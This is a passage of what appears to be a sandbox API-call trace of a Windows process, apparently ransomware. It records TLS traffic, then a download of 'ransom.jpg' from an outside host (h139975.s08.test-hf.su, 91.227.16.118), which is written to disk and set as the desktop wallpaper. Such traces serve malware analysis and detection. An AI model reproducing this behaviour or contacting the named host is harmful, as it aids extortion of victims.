lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x102ad20, nSize=0x105 | out: lpBuffer="ၐăÐăĀ") returned 0x0 [0099.582] CoTaskMemFree (pv=0x102ad20) [0099.582] CoTaskMemAlloc (cb=0x20e) returned 0x102ad20 [0099.582] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x102ad20, nSize=0x105 | out: lpBuffer="ၐăÐăĀ") returned 0x0 [0099.582] CoTaskMemFree (pv=0x102ad20) [0099.582] EncryptMessage (in: phContext=0x318a924, fQOP=0x0, pMessage=0x3193f70, MessageSeqNo=0x0 | out: pMessage=0x3193f70) returned 0x0 [0099.666] send (s=0x5b8, buf=0x3192a48*, len=138, flags=0) returned 138 [0099.668] setsockopt (s=0x5b8, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0099.668] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.736] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.737] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a4340, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a4340, pfQOP=0x0) returned 0x0 [0099.746] setsockopt (s=0x5b8, level=65535, optname=4102, optval="\xf4\x01", optlen=4) returned 0 [0099.746] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7e4 | out: lpPerformanceCount=0x19e7e4*=18574953262) returned 1 [0099.746] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18574959973) returned 1 [0099.746] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.746] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.746] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a7d88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a7d88, pfQOP=0x0) returned 0x0 [0099.746] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575033856) returned 1 [0099.747] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.747] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.747] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a7ea8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a7ea8, pfQOP=0x0) returned 0x0 [0099.747] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575062697) returned 1 [0099.747] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.747] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.747] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a7fc8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a7fc8, pfQOP=0x0) returned 0x0 [0099.747] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575091237) returned 1 [0099.747] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.747] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.747] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a80e8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a80e8, pfQOP=0x0) returned 0x0 [0099.747] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575119420) returned 1 [0099.747] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.747] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.748] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a8208, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a8208, pfQOP=0x0) returned 0x0 [0099.748] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575149203) returned 1 [0099.748] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.748] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.748] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a8328, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a8328, pfQOP=0x0) returned 0x0 [0099.748] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575397230) returned 1 [0099.750] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.750] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.750] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a8448, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a8448, pfQOP=0x0) returned 0x0 [0099.750] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575429702) returned 1 [0099.750] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.751] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.751] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a8568, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a8568, pfQOP=0x0) returned 0x0 [0099.751] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575458778) returned 1 [0099.751] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.751] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.751] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a8688, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a8688, pfQOP=0x0) returned 0x0 [0099.751] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575547535) returned 1 [0099.752] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.752] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.752] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a87a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a87a8, pfQOP=0x0) returned 0x0 [0099.752] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575577421) returned 1 [0099.752] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.752] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.752] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a88c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a88c8, pfQOP=0x0) returned 0x0 [0099.752] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575606106) returned 1 [0099.752] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.752] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.753] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a89e8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a89e8, pfQOP=0x0) returned 0x0 [0099.753] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575693727) returned 1 [0099.753] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.753] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.753] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a8b08, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a8b08, pfQOP=0x0) returned 0x0 [0099.753] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575723239) returned 1 [0099.753] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.753] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.754] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a8c28, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a8c28, pfQOP=0x0) returned 0x0 [0099.754] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575752640) returned 1 [0099.754] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.754] recv (in: s=0x5b8, buf=0x31a0285, len=976, flags=0 | out: buf=0x31a0285*) returned 976 [0099.754] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a8d48, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a8d48, pfQOP=0x0) returned 0x0 [0099.754] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575828667) returned 1 [0099.755] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.755] recv (in: s=0x5b8, buf=0x31a0285, len=176, flags=0 | out: buf=0x31a0285*) returned 176 [0099.755] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a8e68, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a8e68, pfQOP=0x0) returned 0x0 [0099.755] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575881093) returned 1 [0099.755] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.755] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.755] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a8f88, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a8f88, pfQOP=0x0) returned 0x0 [0099.755] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18575916108) returned 1 [0099.755] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.755] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.757] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a90a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a90a8, pfQOP=0x0) returned 0x0 [0099.757] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576062207) returned 1 [0099.757] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.757] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.757] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a91c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a91c8, pfQOP=0x0) returned 0x0 [0099.757] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576091320) returned 1 [0099.757] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.757] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.757] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a92e8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a92e8, pfQOP=0x0) returned 0x0 [0099.757] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576119981) returned 1 [0099.757] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.758] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.758] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a9408, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a9408, pfQOP=0x0) returned 0x0 [0099.758] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576203635) returned 1 [0099.758] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.758] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.758] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a9528, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a9528, pfQOP=0x0) returned 0x0 [0099.758] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576232379) returned 1 [0099.759] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.759] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.759] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a9648, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a9648, pfQOP=0x0) returned 0x0 [0099.759] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576313836) returned 1 [0099.759] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.759] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.759] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a9768, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a9768, pfQOP=0x0) returned 0x0 [0099.760] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576343949) returned 1 [0099.760] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.760] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.760] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a9888, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a9888, pfQOP=0x0) returned 0x0 [0099.760] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576418515) returned 1 [0099.760] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.760] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.761] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a99a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a99a8, pfQOP=0x0) returned 0x0 [0099.761] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576447690) returned 1 [0099.761] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.761] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.761] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a9ac8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a9ac8, pfQOP=0x0) returned 0x0 [0099.761] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576476058) returned 1 [0099.761] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.762] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.762] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a9be8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a9be8, pfQOP=0x0) returned 0x0 [0099.762] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576555505) returned 1 [0099.762] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.762] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.762] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a9d08, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a9d08, pfQOP=0x0) returned 0x0 [0099.762] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576584030) returned 1 [0099.762] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.762] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.762] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a9e28, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a9e28, pfQOP=0x0) returned 0x0 [0099.762] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576612426) returned 1 [0099.762] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.762] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.763] DecryptMessage (in: phContext=0x318a924, pMessage=0x31a9f48, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31a9f48, pfQOP=0x0) returned 0x0 [0099.763] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576689783) returned 1 [0099.763] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.763] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.763] DecryptMessage (in: phContext=0x318a924, pMessage=0x31aa068, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31aa068, pfQOP=0x0) returned 0x0 [0099.763] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576720338) returned 1 [0099.764] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.764] recv (in: s=0x5b8, buf=0x31a0285, len=1424, flags=0 | out: buf=0x31a0285*) returned 1424 [0099.764] DecryptMessage (in: phContext=0x318a924, pMessage=0x31aa188, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31aa188, pfQOP=0x0) returned 0x0 [0099.764] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576797612) returned 1 [0099.764] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.764] recv (in: s=0x5b8, buf=0x31a0285, len=976, flags=0 | out: buf=0x31a0285*) returned 976 [0099.764] DecryptMessage (in: phContext=0x318a924, pMessage=0x31aa2a8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31aa2a8, pfQOP=0x0) returned 0x0 [0099.764] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7ac | out: lpPerformanceCount=0x19e7ac*=18576826058) returned 1 [0099.764] recv (in: s=0x5b8, buf=0x31a0280, len=5, flags=0 | out: buf=0x31a0280*) returned 5 [0099.765] recv (in: s=0x5b8, buf=0x31a0285, len=32, flags=0 | out: buf=0x31a0285*) returned 32 [0099.765] DecryptMessage (in: phContext=0x318a924, pMessage=0x31aa3c8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x31aa3c8, pfQOP=0x0) returned 0x0 [0099.765] SetEvent (hEvent=0x2fc) returned 1 [0099.765] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7d0 | out: lpPerformanceCount=0x19e7d0*=18576871104) returned 1 [0099.765] CoTaskMemAlloc (cb=0x90) returned 0xfc1418 [0099.771] CoTaskMemAlloc (cb=0x16) returned 0x82b14c8 [0099.774] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\ransom.jpg", nBufferLength=0x105, lpBuffer=0x19e228, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\ransom.jpg", lpFilePart=0x0) returned 0x14 [0099.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e76c) returned 1 [0099.774] CreateFileW (lpFileName="C:\\FD1HVy\\ransom.jpg" (normalized: "c:\\fd1hvy\\ransom.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0099.786] GetFileType (hFile=0x6b4) returned 0x1 [0099.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e768) returned 1 [0099.786] GetFileType (hFile=0x6b4) returned 0x1 [0099.787] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7f0 | out: lpPerformanceCount=0x19e7f0*=18579074903) returned 1 [0099.787] SetEvent (hEvent=0x2fc) returned 1 [0099.787] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5f8*=0x4a4, lpdwindex=0x19e414 | out: lpdwindex=0x19e414) returned 0x80010115 [0099.788] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5d8*=0x494, lpdwindex=0x19e3f4 | out: lpdwindex=0x19e3f4) returned 0x80010115 [0099.788] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5d8*=0x49c, lpdwindex=0x19e3f4 | out: lpdwindex=0x19e3f4) returned 0x80010115 [0099.789] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e62c*=0x4c4, lpdwindex=0x19e44c | out: lpdwindex=0x19e44c) returned 0x80010115 [0099.789] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e62c*=0x4cc, lpdwindex=0x19e44c | out: lpdwindex=0x19e44c) returned 0x80010115 [0099.791] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e62c*=0x4d4, lpdwindex=0x19e44c | out: lpdwindex=0x19e44c) returned 0x80010115 [0099.792] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6bc [0099.792] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6c0 [0099.792] GetAddrInfoW (in: pNodeName="h139975.s08.test-hf.su", pServiceName=0x0, pHints=0x19e52c*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x19e4d4 | out: ppResult=0x19e4d4*=0x102a818*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="h139975.s08.test-hf.su", ai_addr=0x82be070*(sa_family=2, sin_port=0x0, sin_addr="91.227.16.118"), ai_next=0x0)) returned 0 [0099.797] FreeAddrInfoW (pAddrInfo=0x102a818*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="h139975.s08.test-hf.su", ai_addr=0x82be070*(sa_family=2, sin_port=0x0, sin_addr="91.227.16.118"), ai_next=0x0)) [0099.797] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e470*=0x5c8, lpdwindex=0x19e28c | out: lpdwindex=0x19e28c) returned 0x80010115 [0099.798] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e470*=0x5d0, lpdwindex=0x19e28c | out: lpdwindex=0x19e28c) returned 0x80010115 [0099.798] WSAConnect (in: s=0x6bc, name=0x31bc72c*(sa_family=2, sin_port=0x50, sin_addr="91.227.16.118"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0099.873] closesocket (s=0x6c0) returned 0 [0099.873] send (s=0x6bc, buf=0x3182098*, len=87, flags=0) returned 87 [0099.876] setsockopt (s=0x6bc, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0099.876] recv (in: s=0x6bc, buf=0x317c7fc, len=4096, flags=0 | out: buf=0x317c7fc*) returned 4096 [0099.963] setsockopt (s=0x6bc, level=65535, optname=4102, optval="\xe0\x93\x04", optlen=4) returned 0 [0099.963] recv (in: s=0x6bc, buf=0x31bd100, len=65536, flags=0 | out: buf=0x31bd100*) returned 9904 [0099.963] WriteFile (in: hFile=0x6b4, lpBuffer=0x31cd130*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x31cd130*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0099.964] WriteFile (in: hFile=0x6b4, lpBuffer=0x31bd20c*, nNumberOfBytesToWrite=0x25a4, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x31bd20c*, lpNumberOfBytesWritten=0x19e7b0*=0x25a4, lpOverlapped=0x0) returned 1 [0099.965] recv (in: s=0x6bc, buf=0x31bd100, len=65536, flags=0 | out: buf=0x31bd100*) returned 19600 [0100.364] WriteFile (in: hFile=0x6b4, lpBuffer=0x31bd100*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x31bd100*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0100.364] recv (in: s=0x6bc, buf=0x31bd100, len=65536, flags=0 | out: buf=0x31bd100*) returned 8400 [0100.364] WriteFile (in: hFile=0x6b4, lpBuffer=0x31bd100*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x31bd100*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0100.364] recv (in: s=0x6bc, buf=0x31bd100, len=61027, flags=0 | out: buf=0x31bd100*) returned 30800 [0100.504] WriteFile (in: hFile=0x6b4, lpBuffer=0x31bd100*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x31bd100*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0100.505] recv (in: s=0x6bc, buf=0x31bd100, len=30227, flags=0 | out: buf=0x31bd100*) returned 2800 [0100.505] recv (in: s=0x6bc, buf=0x31bd100, len=27427, flags=0 | out: buf=0x31bd100*) returned 27427 [0100.580] WriteFile (in: hFile=0x6b4, lpBuffer=0x31cd130*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x31cd130*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0100.580] WriteFile (in: hFile=0x6b4, lpBuffer=0x31bd610*, nNumberOfBytesToWrite=0x6613, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x31bd610*, lpNumberOfBytesWritten=0x19e7b0*=0x6613, lpOverlapped=0x0) returned 1 [0100.580] CloseHandle (hObject=0x6b4) returned 1 [0100.583] CoTaskMemAlloc (cb=0x11) returned 0x1031da8 [0100.590] SystemParametersInfoW (in: uiAction=0x14, uiParam=0x0, pvParam="C:\\FD1HVy\\ransom.jpg" (normalized: "c:\\fd1hvy\\ransom.jpg"), fWinIni=0x3 | out: pvParam=0x316526c) returned 1 [0100.728] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x6004e, Msg=0x1a, wParam=0x14, lParam=0x9d628) returned 0x0 [0100.728] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7002e, Msg=0x1a, wParam=0x14, lParam=0x9d628) returned 0x0 [0100.736] SystemParametersInfoW (in: uiAction=0x26, uiParam=0x0, pvParam=0x19e3f0, fWinIni=0x0 | out: pvParam=0x19e3f0) returned 1 [0100.746] PostMessageW (hWnd=0x60030, Msg=0x201a, 